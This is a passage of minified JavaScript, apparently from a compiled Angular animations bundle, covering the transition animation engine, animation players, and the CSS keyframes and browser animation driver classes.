r=n.indexOf(a);r>=0&&n.splice(r,1)}}),this.players.push(a),l.push(a),a}if(!function(t,e){var n=Object.keys(t),i=Object.keys(e);if(n.length!=i.length)return!1;for(var r=0;r<n.length;r++){var o=n[r];if(!e.hasOwnProperty(o)||t[o]!==e[o])return!1}return!0}(u.params,c.params)){var d=[],p=o.matchStyles(u.value,u.params,d),v=o.matchStyles(c.value,c.params,d);d.length?this._engine.reportError(d):this._engine.afterFlush(function(){X(t,p),K(t,v)})}}},{key:"deregister",value:function(t){var e=this;delete this._triggers[t],this._engine.statesByElement.forEach(function(e,n){delete e[t]}),this._elementListeners.forEach(function(n,i){e._elementListeners.set(i,n.filter(function(e){return e.name!=t}))})}},{key:"clearElementCache",value:function(t){this._engine.statesByElement.delete(t),this._elementListeners.delete(t);var e=this._engine.playersByElement.get(t);e&&(e.forEach(function(t){return t.destroy()}),this._engine.playersByElement.delete(t))}},{key:"_signalRemovalForInnerTriggers",value:function(t,e){var n=this,i=this._engine.driver.query(t,H,!0);i.forEach(function(t){if(!t[Qt]){var i=n._engine.fetchNamespacesByElement(t);i.size?i.forEach(function(n){return n.triggerLeaveAnimation(t,e,!1,!0)}):n.clearElementCache(t)}}),this._engine.afterFlushAnimationsDone(function(){return i.forEach(function(t){return n.clearElementCache(t)})})}},{key:"triggerLeaveAnimation",value:function(t,e,n,i){var r=this,o=this._engine.statesByElement.get(t);if(o){var a=[];if(Object.keys(o).forEach(function(e){if(r._triggers[e]){var n=r.trigger(t,e,Xt,i);n&&a.push(n)}}),a.length)return this._engine.markElementAsRemoved(this.id,t,!0,e),n&&p(a).onDone(function(){return r._engine.processLeaveNode(t)}),!0}return!1}},{key:"prepareLeaveAnimationListeners",value:function(t){var e=this,n=this._elementListeners.get(t),i=this._engine.statesByElement.get(t);if(n&&i){var r=new Set;n.forEach(function(n){var o=n.name;if(!r.has(o)){r.add(o);var a=e._triggers[o].fallbackTransition,s=i[o]||$t,u=new Kt(Xt),c=new ne(e.id,o,t);e._engine.totalQueuedPlayers++,e._queue.push({element:t,triggerName:o,transition:a,fromState:s,toState:u,player:c,isFallbackTransition:!0})}})}}},{key:"removeNode",value:function(t,e){var n=this,i=this._engine;if(t.childElementCount&&this._signalRemovalForInnerTriggers(t,e),!this.triggerLeaveAnimation(t,e,!0)){var r=!1;if(i.totalAnimations){var o=i.players.length?i.playersByQueriedElement.get(t):[];if(o&&o.length)r=!0;else for(var a=t;a=a.parentNode;)if(i.statesByElement.get(a)){r=!0;break}}if(this.prepareLeaveAnimationListeners(t),r)i.markElementAsRemoved(this.id,t,!1,e);else{var s=t[Qt];(!s||s===Wt)&&(i.afterFlush(function(){return n.clearElementCache(t)}),i.destroyInnerAnimations(t),i._onRemovalComplete(t,e))}}}},{key:"insertNode",value:function(t,e){ue(t,this._hostClassName)}},{key:"drainQueuedTransitions",value:function(t){var e=this,n=[];return this._queue.forEach(function(i){var r=i.player;if(!r.destroyed){var o=i.element,a=e._elementListeners.get(o);a&&a.forEach(function(e){if(e.name==i.triggerName){var n=k(o,i.triggerName,i.fromState.value,i.toState.value);n._data=t,g(i.player,e.phase,n,e.callback)}}),r.markedForDestroy?e._engine.afterFlush(function(){r.destroy()}):n.push(i)}}),this._queue=[],n.sort(function(t,n){var i=t.transition.ast.depCount,r=n.transition.ast.depCount;return 0==i||0==r?i-r:e._engine.driver.containsElement(t.element,n.element)?1:-1})}},{key:"destroy",value:function(t){this.players.forEach(function(t){return t.destroy()}),this._signalRemovalForInnerTriggers(this.hostElement,t)}},{key:"elementContainsData",value:function(t){var e=!1;return this._elementListeners.has(t)&&(e=!0),e=!!this._queue.find(function(e){return e.element===t})||e}}]),t}(),ee=function(){function t(e,n,i){_(this,t),this.bodyNode=e,this.driver=n,this._normalizer=i,this.players=[],this.newHostElements=new Map,this.playersByElement=new Map,this.playersByQueriedElement=new Map,this.statesByElement=new Map,this.disabledNodes=new Set,this.totalAnimations=0,this.totalQueuedPlayers=0,this._namespaceLookup={},this._namespaceList=[],this._flushFns=[],this._whenQuietFns=[],this.namespacesByHostElement=new Map,this.collectedEnterElements=[],this.collectedLeaveElements=[],this.onRemovalComplete=function(t,e){}}return y(t,[{key:"_onRemovalComplete",value:function(t,e){this.onRemovalComplete(t,e)}},{key:"queuedPlayers",get:function(){var t=[];return this._namespaceList.forEach(function(e){e.players.forEach(function(e){e.queued&&t.push(e)})}),t}},{key:"createNamespace",value:function(t,e){var n=new te(t,e,this);return this.bodyNode&&this.driver.containsElement(this.bodyNode,e)?this._balanceNamespaceList(n,e):(this.newHostElements.set(e,n),this.collectEnterElement(e)),this._namespaceLookup[t]=n}},{key:"_balanceNamespaceList",value:function(t,e){var n=this._namespaceList.length-1;if(n>=0){for(var i=!1,r=n;r>=0;r--)if(this.driver.containsElement(this._namespaceList[r].hostElement,e)){this._namespaceList.splice(r+1,0,t),i=!0;break}i||this._namespaceList.splice(0,0,t)}else this._namespaceList.push(t);return this.namespacesByHostElement.set(e,t),t}},{key:"register",value:function(t,e){var n=this._namespaceLookup[t];return n||(n=this.createNamespace(t,e)),n}},{key:"registerTrigger",value:function(t,e,n){var i=this._namespaceLookup[t];i&&i.register(e,n)&&this.totalAnimations++}},{key:"destroy",value:function(t,e){var n=this;if(t){var i=this._fetchNamespace(t);this.afterFlush(function(){n.namespacesByHostElement.delete(i.hostElement),delete n._namespaceLookup[t];var e=n._namespaceList.indexOf(i);e>=0&&n._namespaceList.splice(e,1)}),this.afterFlushAnimationsDone(function(){return i.destroy(e)})}}},{key:"_fetchNamespace",value:function(t){return this._namespaceLookup[t]}},{key:"fetchNamespacesByElement",value:function(t){var e=new Set,n=this.statesByElement.get(t);if(n)for(var i=Object.keys(n),r=0;r<i.length;r++){var o=n[i[r]].namespaceId;if(o){var a=this._fetchNamespace(o);a&&e.add(a)}}return e}},{key:"trigger",value:function(t,e,n,i){if(ie(e)){var r=this._fetchNamespace(t);if(r)return r.trigger(e,n,i),!0}return!1}},{key:"insertNode",value:function(t,e,n,i){if(ie(e)){var r=e[Qt];if(r&&r.setForRemoval){r.setForRemoval=!1,r.setForMove=!0;var o=this.collectedLeaveElements.indexOf(e);o>=0&&this.collectedLeaveElements.splice(o,1)}if(t){var a=this._fetchNamespace(t);a&&a.insertNode(e,n)}i&&this.collectEnterElement(e)}}},{key:"collectEnterElement",value:function(t){this.collectedEnterElements.push(t)}},{key:"markElementAsDisabled",value:function(t,e){e?this.disabledNodes.has(t)||(this.disabledNodes.add(t),ue(t,qt)):this.disabledNodes.has(t)&&(this.disabledNodes.delete(t),ce(t,qt))}},{key:"removeNode",value:function(t,e,n,i){if(ie(e)){var r=t?this._fetchNamespace(t):null;if(r?r.removeNode(e,i):this.markElementAsRemoved(t,e,!1,i),n){var o=this.namespacesByHostElement.get(e);o&&o.id!==t&&o.removeNode(e,i)}}else this._onRemovalComplete(e,i)}},{key:"markElementAsRemoved",value:function(t,e,n,i){this.collectedLeaveElements.push(e),e[Qt]={namespaceId:t,setForRemoval:i,hasAnimation:n,removedBeforeQueried:!1}}},{key:"listen",value:function(t,e,n,i,r){return ie(e)?this._fetchNamespace(t).listen(e,n,i,r):function(){}}},{key:"_buildInstruction",value:function(t,e,n,i,r){return t.transition.build(this.driver,t.element,t.fromState.value,t.toState.value,n,i,t.fromState.options,t.toState.options,e,r)}},{key:"destroyInnerAnimations",value:function(t){var e=this,n=this.driver.query(t,H,!0);n.forEach(function(t){return e.destroyActiveAnimationsForElement(t)}),0!=this.playersByQueriedElement.size&&(n=this.driver.query(t,G,!0)).forEach(function(t){return e.finishActiveQueriedAnimationOnElement(t)})}},{key:"destroyActiveAnimationsForElement",value:function(t){var e=this.playersByElement.get(t);e&&e.forEach(function(t){t.queued?t.markedForDestroy=!0:t.destroy()})}},{key:"finishActiveQueriedAnimationOnElement",value:function(t){var e=this.playersByQueriedElement.get(t);e&&e.forEach(function(t){return t.finish()})}},{key:"whenRenderingDone",value:function(){var t=this;return new Promise(function(e){if(t.players.length)return p(t.players).onDone(function(){return e()});e()})}},{key:"processLeaveNode",value:function(t){var e=this,n=t[Qt];if(n&&n.setForRemoval){if(t[Qt]=Wt,n.namespaceId){this.destroyInnerAnimations(t);var i=this._fetchNamespace(n.namespaceId);i&&i.clearElementCache(t)}this._onRemovalComplete(t,n.setForRemoval)}this.driver.matchesElement(t,zt)&&this.markElementAsDisabled(t,!1),this.driver.query(t,zt,!0).forEach(function(t){e.markElementAsDisabled(t,!1)})}},{key:"flush",value:function(){var t=this,e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:-1,n=[];if(this.newHostElements.size&&(this.newHostElements.forEach(function(e,n){return t._balanceNamespaceList(e,n)}),this.newHostElements.clear()),this.totalAnimations&&this.collectedEnterElements.length)for(var i=0;i<this.collectedEnterElements.length;i++)ue(this.collectedEnterElements[i],"ng-star-inserted");if(this._namespaceList.length&&(this.totalQueuedPlayers||this.collectedLeaveElements.length)){var r=[];try{n=this._flushAnimations(r,e)}finally{for(var o=0;o<r.length;o++)r[o]()}}else for(var a=0;a<this.collectedLeaveElements.length;a++)this.processLeaveNode(this.collectedLeaveElements[a]);if(this.totalQueuedPlayers=0,this.collectedEnterElements.length=0,this.collectedLeaveElements.length=0,this._flushFns.forEach(function(t){return t()}),this._flushFns=[],this._whenQuietFns.length){var s=this._whenQuietFns;this._whenQuietFns=[],n.length?p(n).onDone(function(){s.forEach(function(t){return t()})}):s.forEach(function(t){return t()})}}},{key:"reportError",value:function(t){throw new Error("Unable to process animations due to the following failed trigger transitions\n ".concat(t.join("\n")))}},{key:"_flushAnimations",value:function(t,e){var n=this,r=new Ct,o=[],a=new Map,s=[],u=new Map,l=new Map,h=new Map,f=new Set;this.disabledNodes.forEach(function(t){f.add(t);for(var e=n.driver.query(t,".ng-animate-queued",!0),i=0;i<e.length;i++)f.add(e[i])});var d=this.bodyNode,v=Array.from(this.statesByElement.keys()),m=ae(v,this.collectedEnterElements),g=new Map,y=0;m.forEach(function(t,e){var n=U+y++;g.set(e,n),t.forEach(function(t){return ue(t,n)})});for(var _=[],b=new Set,k=new Set,C=0;C<this.collectedLeaveElements.length;C++){var x=this.collectedLeaveElements[C],S=x[Qt];S&&S.setForRemoval&&(_.push(x),b.add(x),S.hasAnimation?this.driver.query(x,".ng-star-inserted",!0).forEach(function(t){return b.add(t)}):k.add(x))}var E=new Map,A=ae(v,Array.from(b));A.forEach(function(t,e){var n=B+y++;E.set(e,n),t.forEach(function(t){return ue(t,n)})}),t.push(function(){m.forEach(function(t,e){var n=g.get(e);t.forEach(function(t){return ce(t,n)})}),A.forEach(function(t,e){var n=E.get(e);t.forEach(function(t){return ce(t,n)})}),_.forEach(function(t){n.processLeaveNode(t)})});for(var T=[],I=[],O=this._namespaceList.length-1;O>=0;O--)this._namespaceList[O].drainQueuedTransitions(e).forEach(function(t){var e=t.player,i=t.element;if(T.push(e),n.collectedEnterElements.length){var a=i[Qt];if(a&&a.setForMove)return void e.destroy()}var c=!d||!n.driver.containsElement(d,i),f=E.get(i),p=g.get(i),v=n._buildInstruction(t,r,p,f,c);if(v.errors&&v.errors.length)I.push(v);else{if(c)return e.onStart(function(){return X(i,v.fromStyles)}),e.onDestroy(function(){return K(i,v.toStyles)}),void o.push(e);if(t.isFallbackTransition)return e.onStart(function(){return X(i,v.fromStyles)}),e.onDestroy(function(){return K(i,v.toStyles)}),void o.push(e);v.timelines.forEach(function(t){return t.stretchStartingKeyframe=!0}),r.append(i,v.timelines),s.push({instruction:v,player:e,element:i}),v.queriedElements.forEach(function(t){return w(u,t,[]).push(e)}),v.preStyleProps.forEach(function(t,e){var n=Object.keys(t);if(n.length){var i=l.get(e);i||l.set(e,i=new Set),n.forEach(function(t){return i.add(t)})}}),v.postStyleProps.forEach(function(t,e){var n=Object.keys(t),i=h.get(e);i||h.set(e,i=new Set),n.forEach(function(t){return i.add(t)})})}});if(I.length){var R=[];I.forEach(function(t){R.push("@".concat(t.triggerName," has failed due to:\n")),t.errors.forEach(function(t){return R.push("- ".concat(t,"\n"))})}),T.forEach(function(t){return t.destroy()}),this.reportError(R)}var P=new Map,N=new Map;s.forEach(function(t){var e=t.element;r.has(e)&&(N.set(e,e),n._beforeAnimationBuild(t.player.namespaceId,t.instruction,P))}),o.forEach(function(t){var e=t.element;n._getPreviousPlayers(e,!1,t.namespaceId,t.triggerName,null).forEach(function(t){w(P,e,[]).push(t),t.destroy()})});var D=_.filter(function(t){return fe(t,l,h)}),L=new Map;oe(L,this.driver,k,h,c.l3).forEach(function(t){fe(t,l,h)&&D.push(t)});var M=new Map;m.forEach(function(t,e){oe(M,n.driver,new Set(t),l,c.k1)}),D.forEach(function(t){var e=L.get(t),n=M.get(t);L.set(t,Object.assign(Object.assign({},e),n))});var F=[],j=[],H={};s.forEach(function(t){var e=t.element,i=t.player,s=t.instruction;if(r.has(e)){if(f.has(e))return i.onDestroy(function(){return K(e,s.toStyles)}),i.disabled=!0,i.overrideTotalTime(s.totalTime),void o.push(i);var u=H;if(N.size>1){for(var c=e,l=[];c=c.parentNode;){var h=N.get(c);if(h){u=h;break}l.push(c)}l.forEach(function(t){return N.set(t,u)})}var d=n._buildAnimation(i.namespaceId,s,P,a,M,L);if(i.setRealPlayer(d),u===H)F.push(i);else{var v=n.playersByElement.get(u);v&&v.length&&(i.parentPlayer=p(v)),o.push(i)}}else X(e,s.fromStyles),i.onDestroy(function(){return K(e,s.toStyles)}),j.push(i),f.has(e)&&o.push(i)}),j.forEach(function(t){var e=a.get(t.element);if(e&&e.length){var n=p(e);t.setRealPlayer(n)}}),o.forEach(function(t){t.parentPlayer?t.syncPlayerEvents(t.parentPlayer):t.destroy()});for(var V=0;V<_.length;V++){var Y=_[V],q=Y[Qt];if(ce(Y,B),!q||!q.hasAnimation){var z=[];if(u.size){var Z=u.get(Y);Z&&Z.length&&z.push.apply(z,i(Z));for(var W=this.driver.query(Y,G,!0),J=0;J<W.length;J++){var Q=u.get(W[J]);Q&&Q.length&&z.push.apply(z,i(Q))}}var $=z.filter(function(t){return!t.destroyed});$.length?le(this,Y,$):this.processLeaveNode(Y)}}return _.length=0,F.forEach(function(t){n.players.push(t),t.onDone(function(){t.destroy();var e=n.players.indexOf(t);n.players.splice(e,1)}),t.play()}),F}},{key:"elementContainsData",value:function(t,e){var n=!1,i=e[Qt];return i&&i.setForRemoval&&(n=!0),this.playersByElement.has(e)&&(n=!0),this.playersByQueriedElement.has(e)&&(n=!0),this.statesByElement.has(e)&&(n=!0),this._fetchNamespace(t).elementContainsData(e)||n}},{key:"afterFlush",value:function(t){this._flushFns.push(t)}},{key:"afterFlushAnimationsDone",value:function(t){this._whenQuietFns.push(t)}},{key:"_getPreviousPlayers",value:function(t,e,n,i,r){var o=[];if(e){var a=this.playersByQueriedElement.get(t);a&&(o=a)}else{var s=this.playersByElement.get(t);if(s){var u=!r||r==Xt;s.forEach(function(t){t.queued||!u&&t.triggerName!=i||o.push(t)})}}return(n||i)&&(o=o.filter(function(t){return!(n&&n!=t.namespaceId||i&&i!=t.triggerName)})),o}},{key:"_beforeAnimationBuild",value:function(t,e,n){var i,o=this,a=e.element,s=e.isRemovalTransition?void 0:t,u=e.isRemovalTransition?void 0:e.triggerName,c=r(e.timelines);try{var l=function(){var t=i.value.element,r=t!==a,c=w(n,t,[]);o._getPreviousPlayers(t,r,s,u,e.toState).forEach(function(t){var e=t.getRealPlayer();e.beforeDestroy&&e.beforeDestroy(),t.destroy(),c.push(t)})};for(c.s();!(i=c.n()).done;)l()}catch(h){c.e(h)}finally{c.f()}X(a,e.fromStyles)}},{key:"_buildAnimation",value:function(t,e,n,i,r,o){var a=this,s=e.triggerName,u=e.element,l=[],h=new Set,f=new Set,d=e.timelines.map(function(e){var d=e.element;h.add(d);var p=d[Qt];if(p&&p.removedBeforeQueried)return new c.ZN(e.duration,e.delay);var m=d!==u,g=function(t){var e=[];return he(t,e),e}((n.get(d)||Zt).map(function(t){return t.getRealPlayer()})).filter(function(t){return!!t.element&&t.element===d}),y=r.get(d),_=o.get(d),b=v(0,a._normalizer,0,e.keyframes,y,_),k=a._buildPlayer(e,b,g);if(e.subTimeline&&i&&f.add(d),m){var w=new ne(t,s,d);w.setRealPlayer(k),l.push(w)}return k});l.forEach(function(t){w(a.playersByQueriedElement,t.element,[]).push(t),t.onDone(function(){return function(t,e,n){var i;if(t instanceof Map){if(i=t.get(e)){if(i.length){var r=i.indexOf(n);i.splice(r,1)}0==i.length&&t.delete(e)}}else if(i=t[e]){if(i.length){var o=i.indexOf(n);i.splice(o,1)}0==i.length&&delete t[e]}return i}(a.playersByQueriedElement,t.element,t)})}),h.forEach(function(t){return ue(t,V)});var m=p(d);return m.onDestroy(function(){h.forEach(function(t){return ce(t,V)}),K(u,e.toStyles)}),f.forEach(function(t){w(i,t,[]).push(m)}),m}},{key:"_buildPlayer",value:function(t,e,n){return e.length>0?this.driver.animate(t.element,e,t.duration,t.delay,t.easing,n):new c.ZN(t.duration,t.delay)}}]),t}(),ne=function(){function t(e,n,i){_(this,t),this.namespaceId=e,this.triggerName=n,this.element=i,this._player=new c.ZN,this._containsRealPlayer=!1,this._queuedCallbacks={},this.destroyed=!1,this.markedForDestroy=!1,this.disabled=!1,this.queued=!0,this.totalTime=0}return y(t,[{key:"setRealPlayer",value:function(t){var e=this;this._containsRealPlayer||(this._player=t,Object.keys(this._queuedCallbacks).forEach(function(n){e._queuedCallbacks[n].forEach(function(e){return g(t,n,void 0,e)})}),this._queuedCallbacks={},this._containsRealPlayer=!0,this.overrideTotalTime(t.totalTime),this.queued=!1)}},{key:"getRealPlayer",value:function(){return this._player}},{key:"overrideTotalTime",value:function(t){this.totalTime=t}},{key:"syncPlayerEvents",value:function(t){var e=this,n=this._player;n.triggerCallback&&t.onStart(function(){return n.triggerCallback("start")}),t.onDone(function(){return e.finish()}),t.onDestroy(function(){return e.destroy()})}},{key:"_queueEvent",value:function(t,e){w(this._queuedCallbacks,t,[]).push(e)}},{key:"onDone",value:function(t){this.queued&&this._queueEvent("done",t),this._player.onDone(t)}},{key:"onStart",value:function(t){this.queued&&this._queueEvent("start",t),this._player.onStart(t)}},{key:"onDestroy",value:function(t){this.queued&&this._queueEvent("destroy",t),this._player.onDestroy(t)}},{key:"init",value:function(){this._player.init()}},{key:"hasStarted",value:function(){return!this.queued&&this._player.hasStarted()}},{key:"play",value:function(){!this.queued&&this._player.play()}},{key:"pause",value:function(){!this.queued&&this._player.pause()}},{key:"restart",value:function(){!this.queued&&this._player.restart()}},{key:"finish",value:function(){this._player.finish()}},{key:"destroy",value:function(){this.destroyed=!0,this._player.destroy()}},{key:"reset",value:function(){!this.queued&&this._player.reset()}},{key:"setPosition",value:function(t){this.queued||this._player.setPosition(t)}},{key:"getPosition",value:function(){return this.queued?0:this._player.getPosition()}},{key:"triggerCallback",value:function(t){var e=this._player;e.triggerCallback&&e.triggerCallback(t)}}]),t}();function ie(t){return t&&1===t.nodeType}function re(t,e){var n=t.style.display;return t.style.display=null!=e?e:"none",n}function oe(t,e,n,i,r){var o=[];n.forEach(function(t){return o.push(re(t))});var a=[];i.forEach(function(n,i){var o={};n.forEach(function(t){var n=o[t]=e.computeStyle(i,t,r);(!n||0==n.length)&&(i[Qt]=Jt,a.push(i))}),t.set(i,o)});var s=0;return n.forEach(function(t){return re(t,o[s++])}),a}function ae(t,e){var n=new Map;if(t.forEach(function(t){return n.set(t,[])}),0==e.length)return n;var i=new Set(e),r=new Map;function o(t){if(!t)return 1;var e=r.get(t);if(e)return e;var a=t.parentNode;return e=n.has(a)?a:i.has(a)?1:o(a),r.set(t,e),e}return e.forEach(function(t){var e=o(t);1!==e&&n.get(e).push(t)}),n}var se="$$classes";function ue(t,e){if(t.classList)t.classList.add(e);else{var n=t[se];n||(n=t[se]={}),n[e]=!0}}function ce(t,e){if(t.classList)t.classList.remove(e);else{var n=t[se];n&&delete n[e]}}function le(t,e,n){p(n).onDone(function(){return t.processLeaveNode(e)})}function he(t,e){for(var n=0;n<t.length;n++){var i=t[n];i instanceof c.ZE?he(i.players,e):e.push(i)}}function fe(t,e,n){var i=n.get(t);if(!i)return!1;var r=e.get(t);return r?i.forEach(function(t){return r.add(t)}):e.set(t,i),n.delete(t),!0}var de=function(){function t(e,n,i){var r=this;_(this,t),this.bodyNode=e,this._driver=n,this._normalizer=i,this._triggerCache={},this.onRemovalComplete=function(t,e){},this._transitionEngine=new ee(e,n,i),this._timelineEngine=new Gt(e,n,i),this._transitionEngine.onRemovalComplete=function(t,e){return r.onRemovalComplete(t,e)}}return y(t,[{key:"registerTrigger",value:function(t,e,n,i,r){var o=t+"-"+i,a=this._triggerCache[o];if(!a){var s=[],u=mt(this._driver,r,s);if(s.length)throw new Error('The animation trigger "'.concat(i,'" has failed to build due to the following errors:\n - ').concat(s.join("\n - ")));a=function(t,e,n){return new jt(t,e,n)}(i,u,this._normalizer),this._triggerCache[o]=a}this._transitionEngine.registerTrigger(e,i,a)}},{key:"register",value:function(t,e){this._transitionEngine.register(t,e)}},{key:"destroy",value:function(t,e){this._transitionEngine.destroy(t,e)}},{key:"onInsert",value:function(t,e,n,i){this._transitionEngine.insertNode(t,e,n,i)}},{key:"onRemove",value:function(t,e,n,i){this._transitionEngine.removeNode(t,e,i||!1,n)}},{key:"disableAnimations",value:function(t,e){this._transitionEngine.markElementAsDisabled(t,e)}},{key:"process",value:function(t,e,n,i){if("@"==n.charAt(0)){var r=o(C(n),2),a=r[0],s=r[1];this._timelineEngine.command(a,e,s,i)}else this._transitionEngine.trigger(t,e,n,i)}},{key:"listen",value:function(t,e,n,i,r){if("@"==n.charAt(0)){var a=o(C(n),2),s=a[0],u=a[1];return this._timelineEngine.listen(s,e,u,r)}return this._transitionEngine.listen(t,e,n,i,r)}},{key:"flush",value:function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:-1;this._transitionEngine.flush(t)}},{key:"players",get:function(){return this._transitionEngine.players.concat(this._timelineEngine.players)}},{key:"whenRenderingDone",value:function(){return this._transitionEngine.whenRenderingDone()}}]),t}();function pe(t,e){var n=null,i=null;return Array.isArray(e)&&e.length?(n=me(e[0]),e.length>1&&(i=me(e[e.length-1]))):e&&(n=me(e)),n||i?new ve(t,n,i):null}var ve=function(){var t=function(){function t(e,n,i){_(this,t),this._element=e,this._startStyles=n,this._endStyles=i,this._state=0;var r=t.initialStylesByElement.get(e);r||t.initialStylesByElement.set(e,r={}),this._initialStyles=r}return y(t,[{key:"start",value:function(){this._state<1&&(this._startStyles&&K(this._element,this._startStyles,this._initialStyles),this._state=1)}},{key:"finish",value:function(){this.start(),this._state<2&&(K(this._element,this._initialStyles),this._endStyles&&(K(this._element,this._endStyles),this._endStyles=null),this._state=1)}},{key:"destroy",value:function(){this.finish(),this._state<3&&(t.initialStylesByElement.delete(this._element),this._startStyles&&(X(this._element,this._startStyles),this._endStyles=null),this._endStyles&&(X(this._element,this._endStyles),this._endStyles=null),K(this._element,this._initialStyles),this._state=3)}}]),t}();return t.initialStylesByElement=new WeakMap,t}();function me(t){for(var e=null,n=Object.keys(t),i=0;i<n.length;i++){var r=n[i];ge(r)&&((e=e||{})[r]=t[r])}return e}function ge(t){return"display"===t||"position"===t}var ye="animation",_e="animationend",be=function(){function t(e,n,i,r,o,a,s){var u=this;_(this,t),this._element=e,this._name=n,this._duration=i,this._delay=r,this._easing=o,this._fillMode=a,this._onDoneFn=s,this._finished=!1,this._destroyed=!1,this._startTime=0,this._position=0,this._eventFn=function(t){return u._handleCallback(t)}}return y(t,[{key:"apply",value:function(){(function(t,e){var n=Ee(t,"").trim();n.length&&(function(t,e){for(var n=0,i=0;i<t.length;i++)","===t.charAt(i)&&n++}(n),e="".concat(n,", ").concat(e)),Se(t,"",e)})(this._element,"".concat(this._duration,"ms ").concat(this._easing," ").concat(this._delay,"ms 1 normal ").concat(this._fillMode," ").concat(this._name)),xe(this._element,this._eventFn,!1),this._startTime=Date.now()}},{key:"pause",value:function(){ke(this._element,this._name,"paused")}},{key:"resume",value:function(){ke(this._element,this._name,"running")}},{key:"setPosition",value:function(t){var e=we(this._element,this._name);this._position=t*this._duration,Se(this._element,"Delay","-".concat(this._position,"ms"),e)}},{key:"getPosition",value:function(){return this._position}},{key:"_handleCallback",value:function(t){var e=t._ngTestManualTimestamp||Date.now(),n=1e3*parseFloat(t.elapsedTime.toFixed(3));t.animationName==this._name&&Math.max(e-this._startTime,0)>=this._delay&&n>=this._duration&&this.finish()}},{key:"finish",value:function(){this._finished||(this._finished=!0,this._onDoneFn(),xe(this._element,this._eventFn,!0))}},{key:"destroy",value:function(){this._destroyed||(this._destroyed=!0,this.finish(),function(t,e){var n=Ee(t,"").split(","),i=Ce(n,e);i>=0&&(n.splice(i,1),Se(t,"",n.join(",")))}(this._element,this._name))}}]),t}();function ke(t,e,n){Se(t,"PlayState",n,we(t,e))}function we(t,e){var n=Ee(t,"");return n.indexOf(",")>0?Ce(n.split(","),e):Ce([n],e)}function Ce(t,e){for(var n=0;n<t.length;n++)if(t[n].indexOf(e)>=0)return n;return-1}function xe(t,e,n){n?t.removeEventListener(_e,e):t.addEventListener(_e,e)}function Se(t,e,n,i){var r=ye+e;if(null!=i){var o=t.style[r];if(o.length){var a=o.split(",");a[i]=n,n=a.join(",")}}t.style[r]=n}function Ee(t,e){return t.style[ye+e]||""}var Ae=function(){function t(e,n,i,r,o,a,s,u){_(this,t),this.element=e,this.keyframes=n,this.animationName=i,this._duration=r,this._delay=o,this._finalStyles=s,this._specialStyles=u,this._onDoneFns=[],this._onStartFns=[],this._onDestroyFns=[],this.currentSnapshot={},this._state=0,this.easing=a||"linear",this.totalTime=r+o,this._buildStyler()}return y(t,[{key:"onStart",value:function(t){this._onStartFns.push(t)}},{key:"onDone",value:function(t){this._onDoneFns.push(t)}},{key:"onDestroy",value:function(t){this._onDestroyFns.push(t)}},{key:"destroy",value:function(){this.init(),!(this._state>=4)&&(this._state=4,this._styler.destroy(),this._flushStartFns(),this._flushDoneFns(),this._specialStyles&&this._specialStyles.destroy(),this._onDestroyFns.forEach(function(t){return t()}),this._onDestroyFns=[])}},{key:"_flushDoneFns",value:function(){this._onDoneFns.forEach(function(t){return t()}),this._onDoneFns=[]}},{key:"_flushStartFns",value:function(){this._onStartFns.forEach(function(t){return t()}),this._onStartFns=[]}},{key:"finish",value:function(){this.init(),!(this._state>=3)&&(this._state=3,this._styler.finish(),this._flushStartFns(),this._specialStyles&&this._specialStyles.finish(),this._flushDoneFns())}},{key:"setPosition",value:function(t){this._styler.setPosition(t)}},{key:"getPosition",value:function(){return this._styler.getPosition()}},{key:"hasStarted",value:function(){return this._state>=2}},{key:"init",value:function(){this._state>=1||(this._state=1,this._styler.apply(),this._delay&&this._styler.pause())}},{key:"play",value:function(){this.init(),this.hasStarted()||(this._flushStartFns(),this._state=2,this._specialStyles&&this._specialStyles.start()),this._styler.resume()}},{key:"pause",value:function(){this.init(),this._styler.pause()}},{key:"restart",value:function(){this.reset(),this.play()}},{key:"reset",value:function(){this._state=0,this._styler.destroy(),this._buildStyler(),this._styler.apply()}},{key:"_buildStyler",value:function(){var t=this;this._styler=new be(this.element,this.animationName,this._duration,this._delay,this.easing,"forwards",function(){return t.finish()})}},{key:"triggerCallback",value:function(t){var e="start"==t?this._onStartFns:this._onDoneFns;e.forEach(function(t){return t()}),e.length=0}},{key:"beforeDestroy",value:function(){var t=this;this.init();var e={};if(this.hasStarted()){var n=this._state>=3;Object.keys(this._finalStyles).forEach(function(i){"offset"!=i&&(e[i]=n?t._finalStyles[i]:lt(t.element,i))})}this.currentSnapshot=e}}]),t}(),Te=function(t){l(n,t);var e=f(n);function n(t,i){var r;return _(this,n),(r=e.call(this)).element=t,r._startingStyles={},r.__initialized=!1,r._styles=D(i),r}return y(n,[{key:"init",value:function(){var t=this;this.__initialized||!this._startingStyles||(this.__initialized=!0,Object.keys(this._styles).forEach(function(e){t._startingStyles[e]=t.element.style[e]}),u(m(n.prototype),"init",this).call(this))}},{key:"play",value:function(){var t=this;!this._startingStyles||(this.init(),Object.keys(this._styles).forEach(function(e){return t.element.style.setProperty(e,t._styles[e])}),u(m(n.prototype),"play",this).call(this))}},{key:"destroy",value:function(){var t=this;!this._startingStyles||(Object.keys(this._startingStyles).forEach(function(e){var n=t._startingStyles[e];n?t.element.style.setProperty(e,n):t.element.style.removeProperty(e)}),this._startingStyles=null,u(m(n.prototype),"destroy",this).call(this))}}]),n}(c.ZN),Ie=function(){function t(){_(this,t),this._count=0}return y(t,[{key:"validateStyleProperty",value:function(t){return O(t)}},{key:"matchesElement",value:function(t,e){return R(t,e)}},{key:"containsElement",value:function(t,e){return P(t,e)}},{key:"query",value:function(t,e,n){return N(t,e,n)}},{key:"computeStyle",value:function(t,e,n){return window.getComputedStyle(t)[e]}},{key:"buildKeyframeElement",value:function(t,e,n){n=n.map(function(t){return D(t)});var i="@keyframes ".concat(e," {\n"),r="";n.forEach(function(t){r=" ";var e=parseFloat(t.offset);i+="".concat(r).concat(100*e,"% {\n"),r+=" ",Object.keys(t).forEach(function(e){var n=t[e];switch(e){case"offset":return;case"easing":return void(n&&(i+="".concat(r,"animation-timing-function: ").concat(n,";\n")));default:return void(i+="".concat(r).concat(e,": ").concat(n,";\n"))}}),i+="".concat(r,"}\n")}),i+="}\n";var o=document.createElement("style");return o.textContent=i,o}},{key:"animate",value:function(t,e,n,i,r){var o=arguments.length>5&&void 0!==arguments[5]?arguments[5]:[],a=o.filter(function(t){return t instanceof Ae}),s={};st(n,i)&&a.forEach(function(t){var e=t.currentSnapshot;Object.keys(e).forEach(function(t){return s[t]=e[t]})});var u=function(t){var e={};return 